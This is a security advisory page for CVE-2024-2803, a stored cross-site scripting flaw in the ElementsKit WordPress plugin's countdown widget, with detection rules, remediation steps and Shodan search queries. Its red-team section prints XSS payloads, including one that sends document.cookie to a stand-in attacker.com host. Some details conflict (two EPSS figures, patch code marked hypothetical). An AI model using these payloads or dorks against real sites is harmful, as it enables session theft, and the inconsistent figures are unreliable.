☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-2803

CVE-2024-2803 Cross-Site Scripting in Elementskit
📅 PUBLISHED: 2024-04-04 01:56 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-2803 is a Stored Cross-Site Scripting (XSS) vulnerability in the ElementsKit Elementor addons plugin for WordPress, affecting all versions up to and including 3.0.6. The flaw resides in the countdown widget, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts into pages. When a victim visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not affect Apache or Nginx directly. The EPSS score is 0.0%, indicating low exploitation likelihood at the time of analysis, but the lack of a patch increases risk for unmaintained sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin vulnerability, not an NPM, PyPI, Go, or Ruby package. However, the plugin may be distributed via the WordPress plugin repository or bundled in themes. Users should verify the integrity of their plugin files and consider removing the countdown widget if no update is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level)
  • User Interaction: Required (victim must visit the page)
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

The threat level is Medium due to the need for authenticated access and user interaction, but the potential for stored XSS makes it dangerous for sites with multiple contributors.

Deep Dive & Mechanics

The vulnerability exists in the countdown widget of ElementsKit. The widget accepts user-defined attributes (e.g., data-date, data-time, or custom CSS classes) that are rendered directly into the HTML output without proper sanitization or escaping. An attacker with contributor-level access can craft a malicious attribute value containing JavaScript, such as:

<div class="countdown-widget" data-date="2024-01-01" data-time="12:00" onmouseover="alert('XSS')">

When the page is rendered, the injected event handler executes in the context of the victim's browser. Because the input is stored in the database, the attack persists across sessions.

The root cause is insufficient input validation in the widget's PHP handler, which fails to strip or encode dangerous HTML attributes. The plugin uses esc_attr() inconsistently, leaving some attributes unescaped.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.6):

// In countdown widget render method
$date = $settings['countdown_date'];
$time = $settings['countdown_time'];
echo '<div class="countdown-timer" data-date="' . $date . '" data-time="' . $time . '">';

Patched Code (hypothetical fix):

// Properly escape attributes
$date = esc_attr($settings['countdown_date']);
$time = esc_attr($settings['countdown_time']);
echo '<div class="countdown-timer" data-date="' . $date . '" data-time="' . $time . '">';

The fix requires consistent use of esc_attr() on all user-supplied attributes and possibly using wp_kses() for HTML content.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Prerequisites: WordPress site with ElementsKit <= 3.0.6, contributor-level account.

  2. Steps:

    • Log in as a contributor.
    • Create or edit a page/post.
    • Add the ElementsKit countdown widget.
    • In the widget settings, inject a malicious attribute, e.g., in the "Custom CSS" field or a data attribute:
      data-date="2024-01-01" onmouseover="alert(document.cookie)"
      
    • Save and publish the page.
    • Send the page link to a victim.
    • When the victim hovers over the countdown, the script executes.
  3. Advanced Payload:

    data-date="2024-01-01" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus
    

Blue Team (Detection & Response)

  1. Monitor for suspicious widget attributes in page/post content.
  2. Check for unexpected JavaScript in countdown widget settings.
  3. Review server logs for unusual requests to pages with countdown widgets.
  4. Use a Web Application Firewall (WAF) to block common XSS patterns in POST data.

Indicators of Compromise (IOCs)

  • File Hashes: (None provided; check plugin file integrity)
  • Suspicious Page Content: Presence of onmouseover, onfocus, onload, or alert() in countdown widget attributes.
  • Network Traffic: Outbound requests to attacker-controlled domains from compromised pages.
  • Log Entries: Unusual POST requests to /wp-admin/admin-ajax.php with widget settings containing script tags.

Detection Engineering

YARA Rule

rule Detect_ElementsKit_XSS_Countdown {
    meta:
        description = "Detects malicious countdown widget attributes in ElementsKit plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-2803"
    strings:
        $xss1 = /on\w+\s*=\s*["'][^"']*script[^"']*["']/ nocase
        $xss2 = /<script[^>]*>.*<\/script>/ nocase
        $widget = "countdown-timer"
    condition:
        $widget and ($xss1 or $xss2)
}

Sigma Rule

title: ElementsKit Countdown Widget XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS via ElementsKit countdown widget attributes
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'elementskit'
        cs-uri-query|contains: 'countdown'
    keywords:
        - 'onmouseover'
        - 'onfocus'
        - 'onload'
        - '<script'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in widget settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2803 ElementsKit Countdown XSS"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"elementskit"; http_uri; content:"countdown"; http_uri; pcre:"/(on\w+\s*=\s*[\x22\x27][^\x22\x27]*script[^\x22\x27]*[\x22\x27]|<script[^>]*>.*<\/script>)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable or remove the countdown widget from all pages until a patch is available.
  2. Short-term: Restrict contributor-level access to trusted users only.
  3. Long-term: Apply a Content Security Policy (CSP) to block inline scripts.
  4. Vendor Patch: Monitor the ElementsKit plugin page for an update (version > 3.0.6). If none is released, consider replacing the plugin with an alternative.
  5. WordPress Hardening: Use a security plugin to monitor file changes and block malicious POST data.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ElementsKit"
http.html:"elementskit"
http.html:"countdown-timer"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-2803/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.